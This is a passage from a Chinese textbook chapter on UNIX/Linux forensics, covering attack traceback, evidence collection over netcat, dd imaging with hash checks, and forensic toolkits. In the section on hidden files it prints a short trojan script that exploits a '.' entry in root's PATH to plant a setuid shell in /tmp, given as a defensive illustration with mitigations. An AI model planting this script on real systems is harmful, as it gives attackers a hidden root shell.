或缓解攻击所造成的影响,因此,DoS/DDoS 攻击源的追踪已经受到越来越广泛的关注。网 络管理人员如何对 DoS/DDoS 攻击源进行追踪呢?主要有以下两种方法: (1)逐跳追踪,它是最原始、最有效的追踪方法,即逐个路由器地追踪,直到攻击源。 路由器上记录了所有上游链路转发的分组信息。对于网络日志而言,受害者可将提取出的网 络设备上攻击分组特征与存储在路由器中的信息比对,逐级找出攻击分组所经过的路由器, 最后定位到攻击源。如图 2-2 所示。但这种方法的日志信息量大得惊人,会占用大量路由器 的系统资源。 1)通过 Traceroute 获得从探测机到目标 DNS 服务器的路由路径 R1→R2→R3。 2)依次向 R1/R2/R3 发送 DNS 请求探测数据报文。 3)检测是否收到 DNS 应答,直到所有路由器探测完毕。 60 UNIX/Linux 网络日志分析与流量监控 图 2-2 逐跳追踪示意图 由于路由器的每个接口都有 IP,如果知道距离攻击者最近的路由器的入口 IP 地址,那 么据此同样可以更加接近攻击者的真实 IP 位置。 (2)ICMP 追踪,这是一种利用 ICMP 消息进行追踪的技术。通过寻找相应的 ICMP 追 踪消息并检查攻击者的源 IP 地址可以确定分组穿越的路由器。尤其是在洪泛型攻击中,被 攻击网络能收集到足够的 ICMP 追踪消息来构造攻击路径。 上面谈到的两种 IP 追踪技术,在实际网络安全分析中非常有用,大家在遇到问题时要 根据自身情况综合运用。但它们也有一定的局限。实际上 IP 追踪通过防火墙进入企业内部 网是很难的。通常情况下最后追踪到的地址可能是企业网边界防火墙地址,这也是企业网的 入口。另外一个问题是追踪系统的配置。大多数追踪技术要求改变网络,包括增加路由器功 能。有时即使 IP 追踪找到了攻击源,这个源可能只是攻击中的一个中转点 IP。 2.2 重要信息收集 在 UNIX/Linux 系统取证中,及时收集服务器硬盘的信息至关重要。下面将讨论几种常 见系统进程调用及镜像文件获取方法。 2.2.1 收集正在运行的进程 在 UNIX/Linux 取证时很多系统和网络信息转瞬即逝,如何准确地捕捉到这些蛛丝马迹 呢?网络安全人员需要具有敏锐的观察力和丰富的经验。下面列举几个常用的方法。首先, 在待收集信息主机上启动一个监听进程: #nc -l -p 10005 > ps_lsof_log 第 2 章 UNIX/Linux 系统取证 61 执行完这条命令后回车,系统打开 10005 端口等待接收。然后在被调查的另一主机上运 行相应的 ps 调用: #(ps aux; ps -auxeww; lsof)|nc 192.168.150.100 10005 -w 3 几秒钟后回到命令行提示符。需要注意的是这两条命令成对出现,发送完数据后会关闭 端口,如果你第二次没有开启监听端口,继续发送 ps 数据就会出现连接访问拒绝。 #(ps aux;ps auxeww;losf) | nc 192.168.150.109 10005 –w 3 (UNKNOWN) [192.168.150.109] 10005 (?) : Conection refused 2.2.2 查看系统调用 1.Linux 下系统调用查看工具 一些篡改系统文件、植入木马或许能骗过初级管理员,一旦利用系统调用查看工具深入 到系统层面,木马都会原形毕露。Strace 常用来跟踪进程执行时的系统调用和所接收的信 号。Linux 系统进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文 件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件 设备。所谓系统调用(system call),就是内核提供的功能十分强大的一系列函数。这些系统 调用是在内核中实现的,再通过一定的方式把系统调用的参数传递给用户。Strace 可以跟踪 到一个进程产生的系统调用,包括参数、返回值、执行消耗的时间。有关它的具体应用参见 本章的案例一。 2.UNIX 下系统调用查看工具 dtrace 是 UNIX 平台下的动态跟踪工具,是由 Sun 公司开发的,可以对内核和应用程序 进行动态跟踪,当然也可以找出系统瓶颈,在 Oracle 收购 Sun 之后这一技术又被移植到了 Oracle Linux 系统(参考 Announcement:Dtrace for Oracle Linux General Availability)。 DTrace 在 Solaris 和 OpenSolaris 平台下都可以使用。 应用举例: (1)显示当前系统中的 dtrace 探针。 #dtrace -l |more (2)查看系统中 firefox 进程的情况。 通过 ps-e|grep firefox 命令查看系统中有哪些进程: 然后通过 dtrace -n 'syscall::exece:return{trace(execname);}'查看调用情况: 62 UNIX/Linux 网络日志分析与流量监控 (3)查看计算机忙闲状态,用 vmstat 命令,得知系统产生 2535 个系统调用。 但是,如何简单查找某个进程的问题呢?建议使用 dtrace 工具,操作如下: 从最后一行看,发现 firefox-bin 是产生大量系统调用的程序。再看看 I/O 分布。还是以 firefox 进程为例,输入以下命令: 第 2 章 UNIX/Linux 系统取证 63 通过以上显示,可观察到大量的 Firefox 产生的 I/O 为 8~64 字节,接着深入看 Firefox 程 序内部情况,输入以下命令。 输出内容丰富,这里不一一解释,大家主要通过这几步掌握查看系统调用的方法。 dtrace 功能强大精度高,而 Solaris 9 下的老牌系统跟踪工具 truss 同样值得大家关注。唯 一不足的是 truss 工具有时会降低系统 25%~30%的 CPU 利用率。 有兴趣的读者可以阅读以下文档和图书: Dtrace 详细使用文档:http://docs.oracle.com/cd/E19253-01/819-6959/ 参考图书:《Dtrace:Dynamic Tracing in Oracle Solaris,MacOS X and FreeBSD》 3.Systrace systrace 是一款功能更加强大的系统调用工具,它就嵌入在 OpenBSD 系统中,在 FreeBSD 和 Linux 中也可以自行安装。Systrace 可以用来防止木马软件对系统的危害。如 图 2-3 所示,Systrace 检测到 fragroute-1.2 目录下的一个配置中包含恶意脚本木马。 图 2-3 systrace 检查木马 64 UNIX/Linux 网络日志分析与流量监控 Systrace 的下载地址是 http://www.citi.umich.edu/u/provos/systrace/systrace-1.6f.tar.gz。 2.2.3 收集/proc 系统中的信息 /proc 最初主要应用在网络方面,后来为了简化系统管理和调试,逐渐把它应用到其他 方面。现在,/proc 已经成为 Linux 内核中使用最广泛和最成功的特性之一。/proc 在内存中 建立虚拟的文件节点,用户可以直接使用文件系统中的标准系统调用去访问/proc 下的信 息,当用户发出访问/proc 下的文件请求时,再由系统动态生成。所以/proc 就是一个虚拟的 文件系统,它通过文件系统的接口实现,当系统重启或电源关闭时这个文件系统的数据将消 失。/proc 还为/dev/kmem 提供一个结构化的接口,便于系统诊断并查看每一个正在运行的可 执行文件的环境。内存中的每个进程在/proc 中都有一个目录,按它的 PID 来命名。如果在 一条 ps 的输出中看不见的进程出现在/proc 中,这就可能是 ps 已被特洛伊化了(被篡改并加 了危险程序),所以我们要熟悉/proc,以便应对攻击者对 proc 下的文件做手脚。/proc 下有几 个重要文件和目录需要大家了解,见表 2-1。 表 2-1 重要的 proc 文件系统文件和目录 文件或目录 含 义 /proc/kmsg 核心输出的消息,同时送到 syslog /proc/kcore 系统物理内存映像 /proc/modules 已加载的核心模块 /proc/net 网络协议状态信息 /proc/stat 系统的不同状态 /proc/uptime 启动时间长度 /proc/fileseystems 核心配置文件系统 /proc 中的进程信息是重要证据,该如何收信呢? 使用下面两条命令可以收集 proc 进程信息: #nc -l –p 10006 >proc_log #ls -d /proc[1-9] * | nc 192.168.0.2 10006 -w 3 2.2.4 UNIX 文件存储与删除 UNIX 文件系统中的数据由文件头信息和数据块两部分组成。数据块存储文件中的数 据,在 UNIX 系统中不管是文件还是目录,都有唯一的索引节点与其相关,文件的拥有者、 所在组、大小、修改、读写、属性变更及连接记数等信息记录在这个节点中。所有索引节点 中都保存了一个用来记录文件内容所在数据块的地址。 当某文件被删除后,该文件的数据和元数据并没有被从硬盘里彻底抹去。文件被删除的 实质是将其索引节点和文件所占用的数据块的状态信息标识为“空”,并且将被删除文件之 前一项文件相关的目录项中的目录项长度增大,使系统无法对被删除目录项进行读写。文件 删除的过程中并未对文件本身进行实质性的删除操作,这为被删除文件的恢复提供了可能。 有时,明明删除了文件但空间并未释放,原因也在于此。 第 2 章 UNIX/Linux 系统取证 65 2.2.5 硬盘证据的收集方法 网络证据收集完成后,就可开始收集服务器的硬盘及分区信息、文件系统等证据。 1.复制硬盘驱动器 在关闭系统前,最好收集一些看起来没被入侵者更改的磁盘信息。如果对一个版本的 fdisk 的列表选项无访问权的话,那就得以交互式方式运行。但是此时一定不要对其分区作出 任何改变(不要存盘)。 2.建立取证映像 取证调查分析前,调查人员首先使用 LiveCD 光盘中的 dd 工具对被入侵的服务器进行 完整的数据映像采集,并通过计算映像数据的 MD5 校验值来确保数据的完整性。将受侵害 的系统上的所有文件系统做成一份列表之后,就可以开始收集文件系统了。根据所拥有的存 储设备,可以有很多收集方法,下面使用 dd 工具来制作文件系统的映像。dd 能使用任何指 定的块大小来复制数据,当它完成后,会报告它处理过多少个块。另外,还可以保存一份错 误日志作为成功的文件备份的证据: #dd if=/dev/sda1 of=/home/bak.img 2>/home/error_log 将原始设备的 MD5 与复制的 MD5 做比较。在已收集数据之后,一定要记住使用自带 的 MD5 工具创建这些数据的散列值,并且将其记录下来。 (1)在受威胁的主机上执行 MD5 工具,输入以下命令: Bt~#/usr/local/bin/md5 /dev/sdc1 2>error_log E7d944236113a7c22571f30ce72e2286 /dev/sdc1 (2)然后在收集主机上对映像文件执行 MD5: # md5 hdb5.image 然后对比这两次 MD5 值。 DHash 是一个校验文件(或磁盘分区)MD5、SHA1 的工具,同时可以生成 SFV 简单 文件校验码,以方便确认文件的真实完整性,操作完成后可以将检测结果生成 html 的日志 文件。可以在 DEFT 8.2 光盘启动系统后在磁盘镜像工具中找到它。 为什么要进行校验呢?在现场取证时,分析人员从证据源中找到的证据必须是没有被修 改过的,也就是原始日志,加工过的日志信息都属于被篡改过的,不能作为司法证据,所以 无效。所以从取证实践上看,为了确保电子证据的完整性,就要依据 RFS3227 提供的保障 原则和要求来做,例如在找到源数据后立即对它们进行 MD5 计算并保留结果。图 2-4 中就 是通过 Dhash 计算 MD5 和 SHA1 的界面。 在证据收集主机上运行备份命令: #dd if=/dev/sda bs=16065b |netcat 192.168.150.100 1234 在镜像收集主机上执行命令来收集数据并写入/dev/sdc: #netcat -l -p 1234 |dd of=/dev/sdc bs=16065b 66 UNIX/Linux 网络日志分析与流量监控 图 2-4 MD5 校验工具 这条命令稍作变形,采用 bzip2 或 gzip 对数据压缩,并将备份文件保存在当前目录: #netcat -l -p 1234 bzip2>hd.img 3.计算机取证工具之磁盘克隆——Guymager Guymager 是 dd 的图形化工具,它方便取证人员及时建立镜像。这一工具可以直接在 DEFT 8.2 光盘中找到,使用起来非常方便。 从图 2-5 中可以看出,/dev/sr0 为设备文件,这里代表光驱;“VB2-01700376”代表序列 号。“VBf1f3454c-e15141ee”代表硬盘序列号,如图 2-6 所示。 图 2-5 使用 Guymager 备份磁盘 2.2.6 从映像的文件系统上收集证据 在计算机取证时,有时需要在计算机系统开机状态下制作一份磁盘的镜像,必须对磁盘 第 2 章 UNIX/Linux 系统取证 67 上每一位进行复制,以前被删除的部分同样包含在内,这比文件级复制更准确。实现这一功 能的工具就是 dd/dcfldd。 图 2-6 选择克隆位置 本节用 dd 命令镜像了一块硬盘。该硬盘存在 Ext4、NTFS、FAT32 文件系统。用 mount 挂载时需要指定硬盘镜像分区的起始偏移量,可以用 fdisk -l -u 找到偏移量,一般来讲,磁 盘分区越多,其偏移量越明显。查看分区信息如图 2-7 所示。 图 2-7 查看分区信息 #fdisk -l -u disk.dd.img You must set cylinders. You can do this from the extra functions menu. Disk ubuntu.dd: 0 MB, 0 bytes 255 heads, 63 sectors/track, 0 cylinders, total 0 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0008264d Device Boot Start End Blocks Id System ubuntu.dd1 2048 391167 194560 83 Linux Partition 1 does not end on cylinder boundary. ubuntu.dd2 393214 4296703 1951745 5 Extended Partition 2 does not end on cylinder boundary. ubuntu.dd3 4296704 43358207 19530752 83 Linux 68 UNIX/Linux 网络日志分析与流量监控 Partition 3 has different physical/logical endings: phys=(1023, 235, 33) logical=(2698, 235, 33) Partition 3 does not end on cylinder boundary. ubuntu.dd4 * 43359435 58621184 7630875 7 HPFS/NTFS Partition 4 has different physical/logical beginnings (non-Linux?): phys=(1023, 0, 1) logical=(2699, 0, 1) Partition 4 has different physical/logical endings: phys=(1023, 254, 63) logical=(3648, 254, 63) ubuntu.dd5 401625 4289354 1943865 7 HPFS/NTFS mount -o loop,offset=$((512*2048)) disk.dd.img /mnt 对/dev/hdb5 进行备份,生成镜像文件: #dd if=/dev/hdb5 of=/path/hdb5.image 经过上面步骤,二进制映像数据的内容是无法直接阅读的,“hdb5.image”文件也无法在 物理层上进行更复杂的搜索和对具体的搜索内容进行定位,我们需要在文件逻辑结构层浏览 和搜索这些数据。此时,需要对映像数据进行恢复,并且加载到分析用的系统上,使得分析 系统可以访问映像数据的文件系统和硬盘结构。 另外,Linux 系统可以将映像文件和虚拟设备关联起来,无需恢复,就可把映像文件当 成一个真实的文件系统进行访问,下面就要将刚才得到的映像复制到另外一台计算机上。可 以通过两种方法:一种是把映像复制到一个与该映像相同大小的分区里。另一种就是把将它 放到一个更大的文件系统中,把磁盘映像文件当作一个文件系统来加载。先创建一个目录作 为一个挂载点,然后使用回环设备以只读方式安装它: # mkdir /mnt/host # mount -o loop hdb5.image /mnt/host 安装完成后,就可以像使用任何其他文件系统一样访问映像文件。 下面看一个用 mactime 收集活动时间的例子。 分析嫌疑文件系统的一份只读副本,就能收集 mac 时间。在一个使用的系统中,inode 的时间是易变的,必须在某个运行进程不经意改变之前收集它们。 从系统的角度来看,文件的索引节点(inode)是文件的唯一标识,也就是说文件系统 中的每一个文件都有一个磁盘 inode,它包含文件系统处理文件所需要的全部信息,具体内 容如下: z 文件类型 z 与文件相关的硬连接的个数 z 以字节为单位的文件的长度 z 设备标识符 z 在文件系统中标识文件的索引号 z 文件所属用户的 UID(User ID,用户标识符) z 文件所属组的 GID(Group ID,组标识符) z 各种时间戳,包括文件状态的改变时间、文件的最后访问时间和最后修改时间 mactime 报告可以将系统时间和文件系统的访问时间关联起来。如果知道入侵时间,便 第 2 章 UNIX/Linux 系统取证 69 可以查阅 mactime 报告,看看哪些系统文件被访问过。如果不知道时间,但是知道哪些文件 被访问过,那么在访问时间报告上可以找到这些文件。遇到可疑的事情时,寻找按照时间顺 序出现的文件访问,就可以还原非法活动的过程。 mactime 手册参见 http://www.sleuthkit.org/sleuthkit/man/mactime.html。 下面介绍的 isl 工具,用来显示被删除的索引节点的原始资料,如图 2-8 所示,同它功 能类似的工具还有 icat,用于取得特定的索引节点对应的文件的内容。 #ils hdb5.image > ilsdump.txt #cat ilsdump.txt class|host|device|start_time ils|test.inburst.com.cn|honeypot.hdb5.image|992134159 st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|st_nlink|st_size|st_block0|st_block1 23|f|0|0|984706608|984707090|984707105|984707105|100644|0|520333|307|308 2038|f|1031|100|984707105|984707105|984707105|984707169|40755|0|0|8481|0 …… #mkdir /tmp/bak #mount /dev/sdb1 /tmp/bak #dd if=/dev/sda of=/tmp/bak/disk1.img 8388608+0 records in 8388607+1 records out 4294967295 bytes (4.3GB)copied,813.468 s,6.3MB/s 图 2-8 isl 显示索引节点 对于图 2-8 所示的一些参数,如 gid、mtime、atime 和 ctime 等参数,会在 6.5 节中谈 到。大家在看了以上应用以后。 2.2.7 用 ddrescue 恢复数据 Deft 8.2 取证光盘中提供了用于硬盘数据恢复的工具 ddrescue。同上面讲到的 dd 工具类 似,ddrescue 可以把数据从一个块设备,完全镜像到另一个地方。那么 dd 和 ddrescue 区别 在哪儿呢?其实这两款软件从功能上看难分伯仲。接下来,用一个例子来解释。试想一下这 种情况:一台服务器磁盘中因存在一些硬件错误致使其中一个分区失效,这时候需要把磁盘 上面所有数据复制出来。然而此时不能访问文件,因为文件系统已经损坏。在这种情况下, 70 UNIX/Linux 网络日志分析与流量监控 可以镜像整个分区到一个文件,这样将不再丢失任何数据。或创建一个 loop 设备,使用 fsck 修复损坏的分区,然后访问上面的数据。但在 UNIX/Linux 系统上使用 dd 命令时(例如 dd if=/dev/sda of=/dev/sdb),遇到损坏分区将会失败,因为 dd 遇到错误后会终止操作。而 ddrescue 不存在这个问题。下面看看如何使用 ddrescue。 语法: dd_rescue [options] infile outfile 假设有一块损坏的硬盘/dev/sda1 和一块备用的硬盘/dev/sdb1(分区格式化完成),现在 要把数据从/dev/sda1 完全镜像到/dev/sdb1 上,镜像文件名命名为 backup.img,运行下面 命令: # dd_rescue /dev/sda1 /dev/sdb1/backup.img 检查备份数据的连续性 #fsck -y /dev/sdb1/backup.img 有时需要把备份好的数据再集中放一份,这时你不想插拔硬盘的话就可利用网络传输功 能。首先假设我们通过 ssh 复制磁盘镜像到远程备份数据服务器上,运行下面命令(假设远 程服务器 IP 地址为 192.168.150.200): #ddrescue /dev/sda1 - |ssh root@192.168.150.200 'cat /tmp/backup.img' 如果需要压缩磁盘镜像文件,则可运行 tar 命令: #tar zcvf - /dev/sda1 |ssh root@192.168.150.200 'cat >/tmp/backup.tar.gz' 更多 ddrescue 的用法,可以参考 ddrescue 的帮助文档。 2.2.8 查看详细信息 (1)查看系统日志 系统日志可能是最有价值的,最能反映系统活动的信息源。但只有在系统日志记录处于 激活状态,而且记录足够详细的时候,它才是有价值的。在检查系统时,先查阅一下 /etc/syslog.conf,看看日志信息被送到什么地方了。然后对日志主机实施仔细调查。 (2)收集 Web 等日志与进程统计 要检查一个 Web 服务器,可通过收集 httpd 日志实现,采用 grep 来检查日志,有助于了 解系统攻击的更多信息。进程统计提供了一份有用的系统活动记录。统计程序维护了一份详 细的所有被调用的进程记录,它追踪时间、二进制文件名和调用该进程的用户。在 Linux 中,默认的统计日志目录是/var/log/pacct,用 lastcomm 命令可阅读这些文件。 应用实例如下。 (1)创建 pacct 文件 #touch /var/log/pacct (2)用 accton 激活 #accton /var/log/pacct 当 accton 激活之后,就能用 lastcomm 命令监测系统进程。 第 2 章 UNIX/Linux 系统取证 71 (3)收集文件和文件系统的内容 在文件系统中,还可以收集被改动的二进制文件。一种快速的方法是在/bin、/sbin 和 /usr/bin 中收集事件发生前后被修改的文件,再通过 find 命令查看所有在最后两天之内改变 的文件。 2.2.9 收集隐藏目录和文件 一些攻击者会将脚本文件(木马)放在隐藏目录中,因此,应特别注意所有以.开始的 目录。这些“.”的排列有时候有细微的差别,都可能说明在其中有隐藏的目录和文件。 当用户执行一条命令时,shell(用户和 Linux 内核之间的接口程序)会在路径环境变量 包含的目录列表中搜索命令所在位置,对于普通用户和 root 用户,$PATH 里默认不包含"." 来指定用户的当前目录。这对在本机进行脚本开发的程序员来说很不方便,想图省事的人就 把点加到了搜索路径中,这就相当于在系统中埋下了一枚“定时炸弹”。 例如:root 用户为了方便使用,在他的当前路径末尾加了个点"."(代表当前目录),命 令操作如下: [root@rh root]# PATH=$PATH:. [root@rh root]# echo $PATH /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 这下方便了,直接输入脚本名就能执行。正常情况下一点问题没有,也省去了输 入./foo.sh 的烦恼(foo.sh 是假设的脚本文件名)。有的 root 用户甚至把 PATH=$PATH:.这条命 令加到了.bash_profile 里,使所有用户都能“分享”“福音”。但直到有一天,系统受到攻 击,用户毫无察觉,攻击者悄悄地在他的主目录下放了名为 lls 的脚本。root 用户如果想用 管理员身份列出目录,并错误输入成了“lls”,结果正好“中招”。 再看个复杂点的 C shell 的例子(sample.sh): #!/bin/csh If ( ! -o /bin/su ) goto finish cp /bin/sh /tmp/.sh chmod 7777 /tmp/.sh finish : exec /bin/ls $argv | grep -v ls 如果 root 在其环境变量$PATH 包含了“.”并且其位置先于 ls 所在的系统目录,那么当 用户在/tmp 中执行 ls 时,执行的是上面给出的脚本,而不是实际的 ls 命令。因为最终还是 执行了 ls,所以 root 不会看出有任何异常。如果 root 执行了该脚本,就会将口令文件设置为 可写,并将 shell 复制到/tmp 并保存为.sh,同时设置其 setuserid 位,所有这一切都非常安静 地发生。接下来说说解决方法。 首先,要养成输入绝对路径的良好习惯,这样就不会让攻击者趁虚而入了。比如,列目 录最好用/bin/ls 来列目录,不要图方便而输入 ls。 其次,根用户(root)不要把“.”包括到搜索目录列表里,而普通用户如果把“.”包括 72 UNIX/Linux 网络日志分析与流量监控 到搜索列表中,则“.”应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前 面所述的那种危害。 最后,可以在登录时在/etc/profile 和 bashrc .profile 文件的末尾添加如下一行: PATH='echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' ' 这个简单的 sed 命令将删除路径里所有的“.”,包括其另一形式“::”。当然,还可以由 crontab 调用定期执行: #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt 这条命令先搜索所有以点开头的文件,然后将其发送到 root 的邮箱里,最后进行比较。 2.2.10 检查可执行文件 临时目录/tmp 相当于整个系统的缓冲区。这里存放着各种信息,是攻击者经常光顾的地 方,对于取证来说非常重要。在 UNIX/Linux 中,把所有设备都放进/dev 目录,本地安装的 系统有几千个设备专用文件,因此这个目录很复杂,有一些黑客就利用这种复杂性,使用这 个目录隐藏木马。因此要仔细检查任何位于/dev 下的文件。本书案例六和案例十一讲解分别 挖掘出/tmp 下隐藏后门和/dev 下藏匿蠕虫的安全事件。 上面所探讨的在 Linux 系统中进行证据收集,方法是比较常见的,实际上在取证过程 中,还可能要收集许多其他的证据,如电子邮件、加密文件等,但不论是什么证据,都应该 记住:在证据收集的过程中,要先收集易消失、容易改变、容易被覆盖的证据。同时在取证 过程中,使用可信任的命令是至关重要的。对于 UNIX/Linux 系统的计算机取证,应尽量把 一些重要命令(ps、ls、netstat 等)工具刻录到光盘上,以备不急之需。 2.3 常用搜索工具 UNIX 环境下的搜索工具主要包括 UNIX 系统自带的 grep 之类的内容搜索命令和 find 之 类的文件搜索命令,以及一些提供了丰富搜索功能的外部综合性取证分析工具,例如 Forensix、TCT(The Coroner’s Toolkit)等工具。在离线调查取证中,这些工具可以单独使 用,也可以配合使用,从而更好地实现调查数据的范围缩小和可用证据数据的定位。 2.3.1 特殊文件处理 像 grep、find 等 UNIX 系统自带搜索工具通常只能鉴别现存的包含纯文本字符串的文 件,对于那些被压缩、被加密或被删除的特殊文件,无法单独通过这些简单搜索技术找到相 关内容。为保证搜索结果的有效性和准确性,我们应该在开始内容搜索前对这些文件进行相 应的处理(解压缩、解密、恢复文件等)。 对于比较特殊的情况,例如特定图像和视频、音频的处理,由于此类二进制形式的信息 不具有文本易识别的特征,普通搜索工具无法对其内容进行直接搜索,但调查人员可以通过 文件名特征来进行间接搜索。例如,可以利用对指定的文件名后缀(.bmp、.avi、.mp3)进 第 2 章 UNIX/Linux 系统取证 73 行关键字搜索来实现文件类型的匹配。调查人员也可以利用文件散列值匹配的方式进行搜 索,即利用特定文件内容的散列值的唯一性,通过对每个现有文件进行散列操作,并将其散 列值与已知的散列值进行比较,来查找指定的图像或音视频之类信息。 1.压缩文件处理 压缩文件和打包文件的格式众多,如 tgz、Z、gz、zip、tar 等格式的文件。这些文件都 会使传统的字符串搜索工具失效。在进行字符串搜索之前,调查人员需要先找出所有的压缩 文件和打包文件,并将其解压缩或拆包。例如“.gz”为压缩文件,需要进行解压缩处理; “.tar”为打包文件,需要进行拆包处理;“.tgz”为打包后的压缩文件,需要解压缩和拆包处 理。还需要指出,一些压缩文件中可能还包含压缩文件,这需要调查人员递归地处理每个文 件,以确保将压缩文件中内含的压缩文件全部解压缩。这类问题通常比较棘手。 2.加密文件处理 对于加密的文件或文件系统在调查时,无法用传统方法完成查询工作,尤其是像使用了 TrueCrypt 加密过的文件或者分区,面对这种问题有特殊的取证和还原方法,超出了本书范 围,这里不做详细介绍。 3.grep 命令 grep(Global Regular Expression Print)命令是类 UNIX 系统默认安装的命令行工具,但 不同版本的 grep 具有的功能略有不同,Linux 中包含的 grep 命令是 GNU 版本,它比 UNIX 系统中的 grep 有更为丰富的功能。grep 命令功能强大,使用灵活,支持对文本文件进行关 键字搜索,也支持对二进制文件进行关键字搜索。grep 还支持递归地搜索文件系统或搜索整 个原始设备。 另外,在 Linux 系统中,还有 egrep 和 fgrep 两个命令,它们与 grep 功能相近,但略有 差别。grep 命令一次只能检索一个指定的模式,而 egrep 命令可检索扩展的“正则表达式” (包括表达式组和可选项),fgrep 命令可检索固定字符串,是快速搜索命令。 4.find 命令 find 命令也是类 UNIX 系统的默认工具,不同版本的 find 命令语法格式略有不同。find 命令用于在指定的目录结构中搜索文件名,并执行指定的操作。此命令功能强大,提供了相 当多的查找条件,可以在文件系统上根据文件的不同特征属性来搜索某一类文件,这些特征 包括文件名的字符串、文件内部的字符串、文件修改或访问时间、文件所有者等。find 命令 从指定的起始目录开始,可以递归地搜索其下的各个子目录。在具体的取证过程中,调查人 员还可以使用参数“--exec”对查找到的符合条件的文件执行指定命令的功能,来提高搜索 效率。 2.3.2 The Coroner’s Toolkit(TCT 工具箱) TCT 工具箱主要用来调查被攻击的 UNIX 主机,它提供了强大的调查能力,可以对正在 运行的主机活动进行分析,并捕获主机当前状态。其中的 grove-robber 工具可以收集大量正 在运行的进程、网络连接,以及硬盘驱动器方面的信息。用它收集所有的数据是个很缓慢的 过程,要花上几个小时的时间。TCT 还包括数据恢复和浏览工具 unrm&lazarus、获取 MAC 时间的工具 mactime。另外,还包括一些小工具,如 ils(用来显示被删除的索引节点的原始 资料)、icat(用于取得特定的索引节点对应的文件的内容)等。而这几个工具的使用方法在 74 UNIX/Linux 网络日志分析与流量监控 2.2.5 节中均有所涉及。 2.3.3 Forensix 工具集 Forensix 工具集是一个运行在 Linux 环境下的综合性取证调查工具,它以收集证据和分 析证据为主要目的,支持对多种存储设备和多种文件系统(包括 UFS、ext2FS、ext3FS、 Mac OS X 之类 UNIX 文件系统和其他非 UNIX 的文件系统)进行分析,并以图形化用户终 端的形式提供了丰富的搜索功能。Forensix 支持对多种类型的硬件存储(包括硬盘驱动器、 磁带、光盘驱动器)进行快速映像,检查 MD5 值,并记录到案例数据库中,供调查员分析 使用。 Forensix 具有在不同的文件系统里自动挂载映像的能力。文件系统的挂载是只读属性, 这样可以防止因疏忽而造成的更改。一旦文件系统或映像被挂载,调查人员就可以使用 Forensix 对挂载的数据进行逐个文件的搜索,还可以使用 Forensix 提供的插件程序,运行更 复杂的模糊搜索。更多内容请参阅 http://sourceforge.net/projects/forensix/。 2.4 集成取证工具箱介绍 在 2.3 节中提到的 TCT 和 Forensix 工具对普通 Linux 用户来说不太容易安装,本节将 为大家介绍几款应用简便的集成取证工具。 2.4.1 用光盘系统取证 十多年前就出现了一张软盘的操作系统(比如 MenuetOS、TriangleOS 等),由于这种系 统自身体积很小,占用系统资源少,最关键的是它本身是非常“干净”的系统,在解决故障 分析及取证时非常有用,随后被扩展成为光盘操作系统和 U 盘迷你操作系统,比如基于 Knoppix Linux、Xubuntu、Lubuntu Linux 等发行版的若干版本的 LiveCD。安全专家们将 The Coroner's Toolkit(TCT)、Sleuth Kit、Autopsy Forensic Browser,以及 FLAG(Forensics Log Analysis GUI)、各种 WiFi 嗅探分析工具等流行的开源软件植入其中,就成了现在的安全取 证工具包,比较流行的有 BackTrack,DEFT 等 LiveCD。维护过 Windows 系统的朋友,一定 知道深山红叶袖珍等 PE 系统。和它类似的是 DEFT 工具箱。DEFT(数字证据及取证工具 箱)是一份定制的 Ubuntu 自启动运行 Linux 光盘发行版,它包含了最佳的硬件检测,以及 一些专用于应急响应和计算机取证的最好的开源应用软件。 下面介绍几个常用集成取证工具:DEFT Live CD、BackTrack Linux 以及 Helix LiveCD。三者都叫 LiveCD,它们并非像其他系统一样为安装在硬盘上而生。刻录在光盘上 的主要好处是不会被修改,但带来的不足是补丁、插件及漏洞库不能及时更新,与此同时开 发者推出了速度更快的 U 盘启动版本。 (1)DEFT Linux 发行版是一款专注于事件响应和计算机取证的发行版,易于使用,硬 件检测极佳,它刚刚发布了最新的 DEFT Linux 8.2。DEFT Linux 基于 Lubuntu,Kernel 2.6.38,DEFT Extra 3.0,它利用 Wine 在 Linux 中运行 Windows 上的免费计算机取证工具。 主要的计算机取证工具包括:Aleuthkit、Autopsy。 网址:http://www.deftlinux.net/ 第 2 章 UNIX/Linux 系统取证 75 (2)BackTrack Linux,它是世界领先的渗透测试和信息安全审计发行版本。有上百种预 先安装好的工具软件,并能完美运行。BackTrack5 R3 提供了一个强大的渗透测试平台,从 Web 检测到 RFID 审查,都可由 BackTrack 来完成。 网址:http://www.backtrack-linux.org/ (3)Helix Live CD 的功能比以上两个系统更强大,但只有商业版。 网址:http://www.e-fense.com/ 2.4.2 屏幕录制取证方法 在取证工作中,很多情况下为了记录取证的全过程,需要用到屏幕录制工具。下面为大 家推荐两个好用的工具。 1.recordmydesktop (1)命令行界面 #recordmydesktop 直接输入命令就能全屏录制,回放使用 mplayer 工具。 播放: #mylayer out-1.ogv (2)GUI 界面 #apt-get install gtk-recordmydesktop 装完之后可以在 Applications→Sound&Video 里找到启动菜单。 如果大家在录制过程中发现有错帧的现象,可以在 Advanced 设置中开启 Performance 中的 Encode On The Fly 选项解决。 以上两个方法中默认的输出格式为.ogv,如果需要编辑那就费点劲儿了。接下来安装转 换工具 mencoder,可以将 ogv 格式文件转换为 avi 格式。 #apt-get install mencoder 开始转换(ogv→avi) #mencoder out.ogv -o out.avi -nosound -ove lave 2.Xvidcap Xvidcap 的默认格式就是 avi,视频采用 MPG4 编码,清晰度比较高。 这款工具功能比上面介绍的要强大,安装方法如下所示: #apt-get install xvidcap 启动 GUI 界面: #xvidcap 其操作方法与其他视频工具类似,不再介绍。 76 UNIX/Linux 网络日志分析与流量监控 2.5 案例一:闪现 Segmentation Fault 为哪般 这是一起电商网站首页篡改案,管理员小王对各方调查取证,几经周折,对系统进程、 TCP 连接和 Apache 的访问日志进行分析,最终找到了原因。当你看完事件描述后,你知道 小王在 Apache 日志中到底发现了哪些蛛丝马迹?你知道 Apache 出现的段错误表示什么含 义?小王今后该如何防止这种事件再次发生呢? 难度系数:★★★ 关键日志:Apache 访问日志 